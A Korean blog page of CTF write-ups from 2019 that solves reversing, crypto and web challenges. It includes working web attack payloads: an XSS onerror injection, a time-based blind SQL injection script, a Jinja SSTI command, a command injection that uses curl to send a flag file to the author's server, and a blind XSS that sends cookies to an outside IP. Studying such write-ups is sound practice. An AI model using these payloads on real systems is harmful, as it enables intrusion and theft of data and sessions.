CBM CTF 2019 Writeup

CTF/Writeup 2019. 4. 8. 01:21

Hashish


아래 함수 결과에 해당하는 결과 값을 파일로 제공해 준다.


__int64 __fastcall genhash(char *input)

{

  unsigned int v1; // eax

  char *v2; // rax

  __int64 input_byte; // rax

  char *v4; // [rsp+8h] [rbp-18h]

  unsigned int count; // [rsp+14h] [rbp-Ch]

  signed __int64 v6; // [rsp+18h] [rbp-8h]


  v4 = input;

  v6 = 13LL;

  count = 0;

  while ( 1 )

  {

    v2 = v4++;

    input_byte = (unsigned int)*v2;

    if ( !(_DWORD)input_byte )

      break;

    v6 = 3 * v6 + (signed int)input_byte;

    v1 = count++;

    printf("hash-%d : %ld\n", v1, v6);

  }

  return input_byte;

}


hash.txt


hash-0 : 138

hash-1 : 512

hash-2 : 1645

hash-3 : 5034

hash-4 : 15218

hash-5 : 45756

hash-6 : 137391

hash-7 : 412292

hash-8 : 1236927

hash-9 : 3710845

hash-10 : 11132642

hash-11 : 33398021

hash-12 : 100194167

hash-13 : 300582553

hash-14 : 901747774

hash-15 : 2705243426

hash-16 : 8115730373

hash-17 : 24347191171

hash-18 : 73041573621

hash-19 : 219124720917

hash-20 : 657374162799

hash-21 : 1972122488522

hash-22 : 5916367465576



위 로직에 맞게 역연산 해주면 된다.

solve.py
hash = [13,138,512,1645,5034,15218,45756,137391,412292,1236927,3710845,11132642,33398021,100194167,300582553,901747774,2705243426,8115730373,24347191171,73041573621,219124720917,657374162799,1972122488522,5916367465576]

flag = ""
for i in xrange(len(hash)):
    if i==len(hash)-1:
        break
    flag += chr(hash[i+1]-(3*hash[i]))
print flag


cryptoware

암호화된 파일을 하나 주는데 복호화 하면 된다.

암호화 코드를 보면 시드 값이 고정이 안되있어서 암호화 시 사용한 xor값을 알 수가 없다. 근데 잘 보면 키 값이 0~127 까지밖에 안되서 그냥 brute force 해주며 된다.

encrypt function

__int64 __fastcall encrypt(char *input)
{
  unsigned int v1; // eax
  int v2; // eax
  __int64 v3; // rdx
  _QWORD *v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rax
  char v8; // [rsp+10h] [rbp-17C0h]
  char v9; // [rsp+210h] [rbp-15C0h]
  __int64 v10; // [rsp+310h] [rbp-14C0h]
  char input_2[5010]; // [rsp+420h] [rbp-13B0h]
  char input_1; // [rsp+17B2h] [rbp-1Eh]
  char v13; // [rsp+17B3h] [rbp-1Dh]
  int v14; // [rsp+17B4h] [rbp-1Ch]
  int j; // [rsp+17B8h] [rbp-18h]
  int i; // [rsp+17BCh] [rbp-14h]

  v1 = time(0LL);
  srand(v1);
  v2 = rand() % 95;
  v14 = v2 + 32;
  v13 = v2 + 32;
  std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v9);
  std::basic_ifstream<char,std::char_traits<char>>::open(&v9, input, 8LL);
  if ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator!(&v10) )
  {
    std::operator<<<std::char_traits<char>>(&std::cerr, "File not found", v3);
    exit(1);
  }
  for ( i = 0; ; ++i )
  {
    v4 = (_QWORD *)std::operator>><char,std::char_traits<char>>(&v9, &input_1);
    if ( !(unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator bool((char *)v4 + *(_QWORD *)(*v4 - 24LL)) )
      break;
    input_2[i] = input_1;
  }
  std::basic_ifstream<char,std::char_traits<char>>::close(&v9);
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, input_2, v5);
  std::ostream::operator<<(v6, &MEMORY[0x7FB33BCF6B70]);
  std::basic_ofstream<char,std::char_traits<char>>::basic_ofstream(&v8, input, 16LL);
  for ( j = 0; j < i; ++j )
    std::operator<<<std::char_traits<char>>(&v8, (unsigned int)(char)(v13 ^ input_2[j]));
  std::basic_ofstream<char,std::char_traits<char>>::close(&v8);
  std::basic_ofstream<char,std::char_traits<char>>::~basic_ofstream(&v8);
  return std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v9);
}


solve.py

enc_string =  """.CNsdyD[NYJ_DYBXNS_YNFNGRHDFFDEJXJHDF[DENE_BEFDYNHDF[GNSHB[CNYX.iRB_XNGM.^XBELJHDEX_JE_YN[NJ_BEL@NR.JXBF[GNsdyHB[CNYHJE_YB]BJGGRINIYD@NE^XBELMYNZ^NEHRJEJGRXBX.bM_CNHDE_NE_DMJERFNXXJLNHJEINL^NXXNODYD_CNY\BXN@ED\E_CNE_CN@NRHJEINYN]NJGNO.b_X[YBFJYRFNYB_BX_CJ_B_BXXBF[GN_DBF[GNFNE_.JEO_CJ__CNsdyD[NYJ_BDEBXHDF[^_J_BDEJGGRBENS[NEXB]N.jXBF[GNYN[NJ_BELsdy.B.N.^XBEL_CNXJFN@NRMDYSDYD[NYJ_BDEDE_CN\CDGNOJ_J.HB[CNYBX_CNYNMDYNXDFN_BFNX^XNOMDYCBOBELBEMDYFJ_BDEBEHJXNX\CNYNED[JY_BH^GJYXNH^YB_RBXYNZ^BYNO.iR_CN\JRMGJLBXHIFH_MPXCNODED_@ED\JID^_YN]NYXBELV"""
dec_string = ""
for i in xrange(128):
    dec_string = ""
    for j in xrange(len(enc_string)):
        dec_string += chr(ord(enc_string[j])^i)
    if "cbmctf" in dec_string:
        index = dec_string.find("cbmctf")
        print dec_string[index:]


Long road


cool[넘버] 페이지 Brute Force해주면 플래그 나오는 페이지가 있다.



In mountains I feel fresh

페이지 요청할때 마다 세션값이 다시 세팅되는데 이거 파싱해서 다음 페이지 요청할때 세션 값 재 세팅해주는 식으로 Brute Force 해주면 된다.


solve.py

import requests


def request(cookie):

    url = "http://cbmctf2019.cf:5001/"

    headers = {'Cookie': 'session=' + cookie}

    response = requests.get(url, headers=headers)

    if "cbmctf" in response.text:

        print response.text

    return response.headers['Set-Cookie'].replace("session=","").replace("; HttpOnly; Path=/","")

cookie = "eyJ2aXNpdHMiOjUwfQ.XKn_Hg.nLw94DRaPh2xkEeMUuApvcihnBo"

for i in range(0,1000):

    cookie = request(cookie)

    print cookie


'CTF > Writeup' 카테고리의 다른 글

Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
Encrypt CTF 2019 Write up  (0) 2019.04.05
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

마크다운 컨셉의 XSS 문제다.


코드를 보면 아래와 같다.




<head>

    <meta charset="UTF-8">

    <link rel="stylesheet" href="/static/style.css" />

    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>

</head>

<script>

input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);


function markdown(text){

  text = text

.replace(/[<]/g, '')

.replace(/----/g,'<hr>')

.replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>')

.replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>')

.replace(/__([^_]+)__/g, '<b>$1</b>')

.replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>')

.replace(/\* ([^*]+)/g, '<li>$1</li>')

.replace(/##### ([^#\n]+)/g, '<h5>$1</h5>')

.replace(/#### ([^#\n]+)/g, '<h4>$1</h4>')

.replace(/### ([^#\n]+)/g, '<h3>$1</h3>')

.replace(/## ([^#\n]+)/g, '<h2>$1</h2>')

.replace(/# ([^#\n]+)/g, '<h1>$1</h1>')

.replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>')

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

.replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>')

.replace(/`([^`]+)`/g, '<code>$1</code>')

.replace(/```([^`]+)```/g, '<code>$1</code>')

.replace(/\n/g, "<br>");

  return text;

}


window.onload=function(){

  $("#markdown").text(input);

  $("#rendered").html(markdown(input));

}


</script>


<h1>Input:</h1><br>

<pre contenteditable id="markdown" class="background-grey"></pre><br>

<br>

<button onclick='$("#rendered").html(markdown($("#markdown").text()))'>Update preview</button>

<hr>

<br>

<h1>Preview:</h1><br>

<div id="rendered" class="rendered background-grey"></div>


인풋이 markdown 함수 내 정규식들을 거쳐 마크다운 컨셉으로 치환된 후 html 태그로 추가된다. 

치환되는 코드들을 보면 XSS로 쓸만한 게 딱 보인다. 

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

요 코드의 정규식 형식 맞춰서 아래와 같이 값을 넘겨주면 XSS가 터진다. alert(1)만 띄우면 플래그를 준다.

payload
![" onerror=alert(1) "](https://234252)


'CTF > Writeup' 카테고리의 다른 글

Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
CBM CTF 2019 Writeup  (0) 2019.04.08
Radar CTF 2019 Inj3c7  (0) 2019.04.05
Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

로그인 창 하나 나오는데 대충 Time Based로 구해주면 된다.


근데 입력 값 중에 몇몇 키워들이 replace 처리되고 replace로 구문이 잘못되도 딱히 에러 뿌려주고 뭐가 필터됬다 이런거 안알려줘서 조금 성가시다. 대충 replace되는 애들 테스트해서 구해보면 핵심 키워드 및 특문은 or,select,' 이다. 


요고만 잘 replace우회해서 디비에 있는 플래그 읽어주면 된다.


payload


import requests

import time


def getFlag(payload):

    time.sleep(1)

    start = time.time()

    url = "http://blackfoxs.org/radar/inj3c7/"

    data = {'pass': payload}

    response = requests.post(url, data=data)

    end = time.time()

    return end-start


strings = "_abcdefghijklmnopqrstuvwxyz0123456789}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

if __name__ == "__main__":

    flag = ""

    for j in range(0, 100):

        binary = ""

        for i in range(0,len(strings)):

            #payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect length(table_name) from infoselectrmation_schema.tables where table_schema=database() limit 0,1) ," + str(j) + ",1))=" + str(ord(strings[i])) + ",sleep(4),1)#"

            payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect flag from flag limit 0,1) ,"+str(j)+",1))="+str(ord(strings[i]))+",sleep(4),1)#"

            if getFlag(payload) > 3:

                flag += strings[i]

                print flag

                break

        print "[-]Flag Password = " + flag



'CTF > Writeup' 카테고리의 다른 글

CBM CTF 2019 Writeup  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

crackme01


메인을 보면 대놓고 플래그 관련 문자열을 보여준다. 그냥 쭉 이어주면 된다.



crackme02


아이디,비밀번호 값을 받아서 간단한 연산을 통해 정수형 값을 구한다음 이 값으로 플래그 테이블 값들을 복호화 한다. 플래그 형식이 encrypt{?} 이기 때문에 간단히 브포 돌려서 encrypt 문자열 있는거 찾아주면 된다.


payload.py


a = "08030E1F141D192E392B162C010A021F041905001E4003021940080C1E1410"

flag = ""

for j in range(0,128):

    flag = ""

    for i in range(0,len(a),2):

        flag +=chr(int("0x"+a[i:i+2],16)^j)

    if "encrypt" in flag:

        print flag



crackme03


5가지 조건에 맞는 인풋을 넣어주면 되는데 아래와 같이 로직이 상당히 심플하다. 



아래와 같이 인풋 구해서 원격서버에 보내주면 플래그가 나온다.


payload.py

from pwn import *


def getInput_1():

return "CRACKME02"


def getInput_2():

return p32(0xDEADBEEF)


def getInput_3():

return "ZXytUb9fl78evgJy3KJN"


def getInput_4():

for i in range(0,128):

if i * i * i + 2 * (2 * i * i - i) - 3==0:

return str(i)


def getInput_5():

table = [0xD5,0xCE,0xE7,0xC9,0x69]

frontString = ""

endString = ""

for i in range(0,len(table)):

if i == len(table)-1:

frontString += chr(table[i])

break

if table[i]%2==0:

frontString += chr(table[i]/2)

endString += chr(table[i]/2)

else:

frontString += chr(table[i] / 2)

endString += chr(table[i] / 2+1)

print frontString

print endString

return frontString+endString[::-1]


p = remote('104.154.106.182', 7777)


p.sendlineafter(': ', getInput_1())

p.sendlineafter(': ', getInput_2())

p.sendlineafter(': ', getInput_3())

p.sendlineafter(': ', getInput_4())

p.sendlineafter(': ', getInput_5())

p.interactive()



Sweeeeeet

들어가보면 아무것도 없다. 그냥 페이지 들가보면 쿠키값에 플래그처럼 보이는거 세팅되는데 가짜다. 할수있는게 딱히 없는데 쿠키 값 보면 md5처럼 보이는 값이 있다. 이거 레인보우 테이블에 돌려보면 100나오는데 0으로 md5만들어서 보내주면 플래그 나온다.


Slash Slash

Flask 소스를 주는데 코드를 보면 특정 페이지 요청할때 서버 내 저장된 환경변수 값 읽어서 뿌려준다. 근데 원격서버가 아니고 소스만 주고 내 서버에서 하라해서 해보면 환경변수가 당연히 세팅이 안되있어서 플래그가 안나온다. 근데 주석보면 virtualenv라는 파이썬 가상환경 같은걸로 돌려보라고 되있다. 해당 환경대로 구축해서 돌리면 서버 구동할 때 환경변수가 세팅되는 듯 한데, 이게 상당히 귀찮은 작업이라 대충 꼼수로 생각해보면 어쨋든 서버 구동하면서 환경변수 세팅하는 코드가 내가 받은 코드 중에 존재할 수 밖에 없다. 컴파일된 pyc면 죄다 디컴해서 확인해야해서 상당히 귀찮을 수 있는데 일단 이 가능성 배제하고 환경변수 세팅이 가능한 setenv(python code) or export(linux shell)로 다운받은 전체 코드 검색해보면 딱봐도 수상해보이는 export로 세팅해주는 base64 인코딩 값이 있다. 이거 디코딩해주면 플래그 나온다. 


vault

로그인창하나 나오는데, 인젝션해주면 로그인되면서 flag.png인가 qrcode이미지 준다. 이거 디코딩해봤자 이상한 링크하나 나와 의미가 없다. 디비 다 뒤져봐도 플래그가 없다. 근데 file_priv가 살아있어서 블라인드로 파일 내용 읽을 수 있다. 근데 또 mysql 권한으로 소스코드 leak가 안된다. 답도 없는 상황인데 자세히보면 그냥 인젝션으로 로그인만 해주면 세션 쿠키에 base64인코딩된 플래그가 있다.


repeaaaaaat

간단한 flask ssti다. 필터가 아예 없어서 그냥 아래 페이로드로 구해주면 된다.

payload = {{url_for.__globals__.os.popen('cat ./flag.txt').read()}}






'CTF > Writeup' 카테고리의 다른 글

Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Easy Rev


핵심 코드를 보면 아래 코드 리턴 값이 10이면 된다.


v18 = __readfsqword(0x28u);

  v2 = 0;

  v3 = 3;

  v4 = 0;

  v8 = 79;

  v9 = 4;

  v10 = 36;

  v11 = 628;

  v12 = 117;

  v13 = 62;

  v14 = 2458;

  v15 = -101;

  v16 = 41;

  v17 = 239;

  for ( i = 0; i <= 9; ++i )

  {

    if ( v4 % 3 )

    {

      if ( v4 % 3 == 1 )

        v3 -= i;

      else

        v3 += i;

    }

    else

    {

      v3 *= i;

    }

    *(_DWORD *)(a1 + 4LL * i) = v3 ^ *(_DWORD *)(4LL * i + a1);

    ++v4;

  }

  for ( j = 0; j <= 9; ++j )

    *(_DWORD *)(4LL * j + a1) ^= 0xFu;

  for ( k = 0; k <= 9; ++k )

  {

    if ( *(_DWORD *)(4LL * k + a1) == *(&v8 + k) )

      ++v2;

  }

  return v2;

}



코드가 간단해서 리턴값을 대충 아래와 같이 구해주면 어떤 값이 나오는데 이걸 키 값으로 문제에서 제공해준 플래그 파일을 ubuntu 16.04 환경의 openssl로 aes-256-cbc 형식에 맞춰 복호화 해주면 된다.


get_key.py


table = [79, 4, 36, 628, 117, 62, 2458, -101, 41, 239]

result = []


for i in xrange(10):

    result.append(table[i] ^ 0x0F)


v3 = 3

v4 = 0

key = 0

for i in xrange(10):

    if (v4 % 3):

        if (v4 % 3 == 1):

            v3 -= i

        else:

            v3 += i

    else:

        v3 *= i

    result[i] ^= v3

    key += result[i]

    v4 += 1


print key



seori


쭉 디버깅하다보면 아래 코드에서 특정 리소스 값을 가져온 다음 간단한 xor 연산을 통해 복호화를 한다. 복호화된 값을 디버깅을 통해 확인해보면 jpeg 파일 헤더인걸 볼 수 있고 이 값을 쭉 긁어서 실행해보면 이미지 파일 내 플래그가 나온다.


int __cdecl sub_F211E0(int a1)

{

  int v1; // eax

  int v2; // eax

  int v3; // eax

  int v4; // eax

  int v5; // eax

  int v6; // eax

  int v7; // ST0C_4

  int v8; // eax

  int v9; // eax

  int v10; // eax

  char v12; // [esp+4h] [ebp-1Ch]

  int v13; // [esp+8h] [ebp-18h]

  void *Dst; // [esp+14h] [ebp-Ch]

  DWORD v15; // [esp+18h] [ebp-8h]

  DWORD i; // [esp+1Ch] [ebp-4h]


  v1 = sub_F21400(std::cout, "Hi FRIEND!");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v1, sub_F21740);

  v2 = sub_F21400(std::cout, "I HAVE PRETTY CAT. DO YOU WANT TO SEE A CAT? ");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v2, sub_F21740);

  v3 = sub_F21400(std::cout, "UNFORTUNATELY THE CAT IS HIDING :( ");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_F21740);

  v4 = sub_F21400(std::cout, "FIND MY CAT!");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_F21740);

  sub_F210F0();

  v12 = sub_F21080(a1);

  hModule = LoadLibraryW(L"Seori.exe");

  hResInfo = FindResourceW(hModule, (LPCWSTR)0x65, L"SEORI");

  v15 = SizeofResource(hModule, hResInfo);

  hResData = LoadResource(hModule, hResInfo);

  dword_F25380 = (int)LockResource(hResData);

  v13 = dword_F25380;

  Dst = malloc((v15 + 1) | -__CFADD__(v15, 1));

  memset(Dst, 0, v15 + 1);

  for ( i = 0; i < v15; ++i )

    *((_BYTE *)Dst + i) = v12 ^ *(_BYTE *)(i + v13);

  v5 = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cout, sub_F21740);

  v6 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, -122569430);

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v6, v7);

  v8 = sub_F21400(std::cout, "HAVE YOU SEEN MY CAT?");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v8, sub_F21740);

  v9 = sub_F21400(std::cout, "I THINK MY CAT IS REALLY CUTE.");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, sub_F21740);

  v10 = sub_F21400(std::cout, "I HOPE TO FIND MY CAT!");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v10, sub_F21740);

  return 0;

}



J._.n3utr0n


파일을 실행해서 디버깅해보면 drop.exe란 파일을 드랍한 다음 svchost.exe 프로세스를 생성해서 해당 프로세스에 drop.exe파일 내용을 삽입하고 drop.exe를 삭제한다. 디버깅을 통해 drop.exe를 삭제하지 않도록 한 후에 해당 파일을 ida로 다시 까보면 아래와 같이 플래그를 뿌려주는 코드가 나온다.


int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

  char v3; // [esp+8h] [ebp-24h]

  int v4; // [esp+9h] [ebp-23h]

  int v5; // [esp+Dh] [ebp-1Fh]

  int v6; // [esp+11h] [ebp-1Bh]

  int v7; // [esp+15h] [ebp-17h]

  int v8; // [esp+19h] [ebp-13h]

  int v9; // [esp+1Dh] [ebp-Fh]

  int v10; // [esp+21h] [ebp-Bh]

  __int16 v11; // [esp+25h] [ebp-7h]

  char v12; // [esp+27h] [ebp-5h]


  v3 = -10;

  v4 = -762125422;

  v5 = -825702001;

  v6 = -627256692;

  v7 = -1663312432;

  v8 = -640377722;

  v9 = -1663840048;

  v10 = -791751733;

  v11 = -25128;

  v12 = 0;

  sub_10A1040("flag is : %s\n", &v3);

  exit(1);

}


근데 플래그에 해당하는 값이 뭔가 암호화된 것 같은 값이다. 플래그를 뿌려주는 함수들을 쭉쭉타고 들어가봐도 별다른게 없었다. 여기서 엄청 헤맸는데 헥스레이를 너무 맹신한게 문제였다. 해당 함수를 어셈으로 확인해보면 특정 분기 조건이 무조건 참이라 실행되지 않는 함수가 있다. 해당 함수를 보면 실제 플래그 복호화 루틴이 나온다. 디버깅으로 분기 조건을 수정해 복호화 루틴타게 해주면 플래그가 나온다.












'CTF > Writeup' 카테고리의 다른 글

Radar CTF 2019 Inj3c7  (0) 2019.04.05
Encrypt CTF 2019 Write up  (0) 2019.04.05
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

EasyPhp


간단한 php 트릭류 문제다.

소스는 아래와 같다.


<?php

include "flags.php";

highlight_file(__FILE__);

error_reporting(0);


$str1 = $_GET['1']; 


if(isset($_GET['1'])){ 

    if($str1 == md5($str1)){ 

        echo $flag1; 

    } 

    else{ 

        die(); 

    } 

else{ 

    die();    


$str2 = $_GET['2']; 

$str3 = $_GET['3']; 


if(isset($_GET['2']) && isset($_GET['3'])){ 

    if($str2 !== $str3){ 

        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 

            echo $flag2; 

        } 

        else{ 

            die(); 

        } 

    } 

    else{ 

        die(); 

    } 

else{ 

    die();    


class Secrets { 

    var $temp; 

    var $flag; 


if (isset($_GET['4'])) { 

    $str4 = $_GET['4']; 


    if(get_magic_quotes_gpc()){ 

        $str4=stripslashes($str4); 

    } 


    $res = unserialize($str4); 


    if ($res) { 

    $res->flag=$flag3; 

        if ($res->flag === $res->temp) 

            echo $res->flag; 

        else 

            die(); 

    } 

    else die(); 

?>


첫번째 조건은 php Type Juggling 사용해서 값 구해주면 되고, 두번째도 array 트릭으로 우회해주면 된다. 마지막 unserialize쪽은 첨 보는 류의 bypass코드였는데 위 코드가 성립하려면 $res->temp가 무조건 $res->flag를 가리켜야 할 것 같았다. 딱 상황이 레퍼런스 변수 사용할때 느낌이었는데 php에서도 레퍼런스 변수 사용이 가능한가 찾아보니 사용가능하길래 바로 요걸로 serialize데이터를 만들었다.


<?php

class Secrets { 

    var $temp; 

    var $flag; 

$a = new Secrets();

$a->temp=&$a->flag;

echo serialize($a);


result = O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}


Final Payload

?1=0e215962017&2[]=123&3[]=456&4=O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}


Flag = b00t2root{wh4t3v3r_17_74k3s_cuz_1_l0v3_th3_4dren4l1n3_1n_my_v31ns_932b315}




Set Me Free


간단한 SQLI 문제이다.




계정 등록 시 아이디 존재여부 확인하는 쿼리에서 Blind SQLi가 가능해서 이걸로 isRestricted 권한이 False인 계정의 아이디 비번구해서 로그인해주면 된다.




근데 인젝션으로 isRestricted 권한이 False인 계정을 찾으면 안나온다. 그래서 isRestricted가 아닌 userId가 check 테이블에 존재하지 않는 계정을 찾아서 로그인해주면 플래그가 나온다.


Flag = b00t2root{Y0u'r3_5UCcesful_In_S37t1ng_M3_fr33!}




PingService


간단한 Blind Command Injection 문제다.


대충 X-Forwarded-For 세팅해주고 들어가면 ping 명령어를 사용하는 페이지가 나오는데 코드를 보면 아래와 같다.


<?php 


require_once('helper.php'); 

if (getIP() != "127.0.0.1"){ 

?> 

<!DOCTYPE html> 

<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

<?php 

    die("Oye! This service is only for local client"); 

?> 

</body> 

</html> 

<?php 

}else{ 

?> 


<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

  <div class="login"> 

    <div class="login-screen"> 

      <div class="app-title"> 

        <h1>Ping Service</h1> 

      </div> 

<form action="" method="post"> 

      <div class="login-form"> 

        <div class="control-group"> 

        <input type="text" class="login-field" placeholder="8.8.8.8" id="ip" name="ip"> 

        <label class="login-field-icon fui-user" for="login-form"></label> 

        </div> 


        <button type="submit" class="btn btn-primary btn-large btn-block">Submit</button> 

      </div> 

      </form>  

    </div> 

  </div> 


  </body> 

</html> 


<?php 



if(!isset($_POST['ip'])){ 

    highlight_file(__FILE__); 

else if(isset($_POST['ip'])) { 

    $ip = $_POST['ip']; 

    $ip = 'ping -c 1 '.clean($ip); 

    $res = str_replace("\n", "</br>\n", shell_exec($ip)); 

    if(strpos($res, "100% packet loss")!==false){ 

      echo "<center> <h2 style='color:red'>Not Alive </h2></center>"; 

    } 

    else{ 

      echo "<center> <h2 style='color:yellow'>Alive </h2></center>"; 

    } 




?>


별게 없어보이는데 clean이라는 함수가 명령어 실행전에 수행된다. 여기서 필터가 이루어지고 있는데 해당 함수가 존재하는 helper.php 파일의 tiled 파일이 존재해서 소스코드 leak가 가능하다.


<?php

function getIP()

{

if (@$_SERVER["HTTP_X_FORWARDED_FOR"]){

$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];

}else if (@$_SERVER["HTTP_CLIENT_IP"]){

$ip = $_SERVER["HTTP_CLIENT_IP"];

}else if (@$_SERVER["REMOTE_ADDR"]){

$ip = $_SERVER["REMOTE_ADDR"];

}else if (@getenv("HTTP_X_FORWARDED_FOR")){

$ip = getenv("HTTP_X_FORWARDED_FOR");

}else if (@getenv("HTTP_CLIENT_IP")){

$ip = getenv("HTTP_CLIENT_IP");

}else if (@getenv("REMOTE_ADDR")){

$ip = getenv("REMOTE_ADDR");

}else{

$ip = "Unknown";

}

return $ip;

}

function clean($data) {

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $data))) {

die('<center><h2 style="color:red;">Shoo Go Away heckermen... Thats not an IP Address</h2></center>');

}

    $black_list = array('"', "'", " ","\n");

    foreach ($black_list as $key) {

        // if(strpos($data, $key) !== false){

        //     die("<center> Not Allowed </center>");

        // }

        $data = str_replace($key, '', $data);

    }

    return $data;

}



?>


clean 함수를 보면 preg_match에서 m 옵션을 쓰고있어서 우회가 가능해진다.

개행으로 preg_match 넘겨주고 개행이 그다음 필터에서 replace 당하기때문에 커멘드 구분은 개행말고 ; 써주면 되고 공백은 $IFS써주면 된다.. 그담부턴 걍 curl로 플래그 파일 읽어서 내 서버로 보내주면 된다.


payload = 8.8.8.8%0a;curl$IFS$@http://my_server:9876/?`cat$IFS$@./flag.php|base64`


Flag = b00t2root{mr.s74rk_1_d0nt_feel_s0_g00d}




eXquisite Scenery Sites


간단한 Blind XSS 문제이다.


필터당하면 필터당했다고 친절하게 알려주고 필터가 별로 안빡세서 대충 필터당하는애들 적절히 우회해주면된다. 길이제한이 80글자로 있었는데 내가쓴 페이로드는 크게 길이제한에 안걸려서 상관없었다.


Payload = <svg/onload=location['href']='http://2109004139:9098/?'%2bdocument['cookie']>


Flag = b00t2root{why_y0u_st34l_my_c00ki3s?}




'CTF > Writeup' 카테고리의 다른 글

Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제 바이너리를 ida로보면 함수가 엄청 커서 헥스레이가 안된다. 근데 어셈을 보면 단순히 인풋을 1바이트씩 비교하는 로직이 반복된다.


이 때 인풋을 비교할 때 단순하게 1바이트를 비교하는 경우랑 인풋값이랑 특정 값을 xor해서 비교하는 연산 두가지 케이스로 나뉜다.




위 케이스에 맞춰서 비교하는 값들을 파이썬으로 대충 구해 쭉 출력해보면 플래그가 나온다.


solve.py

f = open("C:\Users\Administrator\Downloads\\secu","r")

contents = f.read().split("\n")

flag = ""

for i in xrange(len(contents)):

    if "cmp" in contents[i]:

        if "rbp" in contents[i]:

            tmp = contents[i-1].split(',')

            xorValue = tmp[1].replace(" ","").replace("h","")

            tmp = contents[i].split(',')

            result = tmp[1].split('h ;')

            result = chr(int("0x" + result[0].replace(" ", "").replace("h", ""), 16)^int("0x"+xorValue,16))

            flag += result

        else:

            tmp = contents[i].split(',')

            result = tmp[1].split('h ;')

            result = chr(int("0x"+result[0].replace(" ","").replace("h",""),16))

            flag += result


start = flag.find("securinets")

end = flag[start:].find("}")+1

print "[*]Find Flag = "+flag[start:start+end]




[*]Find Flag = securinets{automating_everything_is_the_new_future}


 

'CTF > Writeup' 카테고리의 다른 글

Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Feedback


XXE 인젝션이 대놓고 터진다. 문제에서 Flag파일을 읽으라고해서 현재경로의 Flag파일 읽어보면 플래그가 나온다.


Custom Location


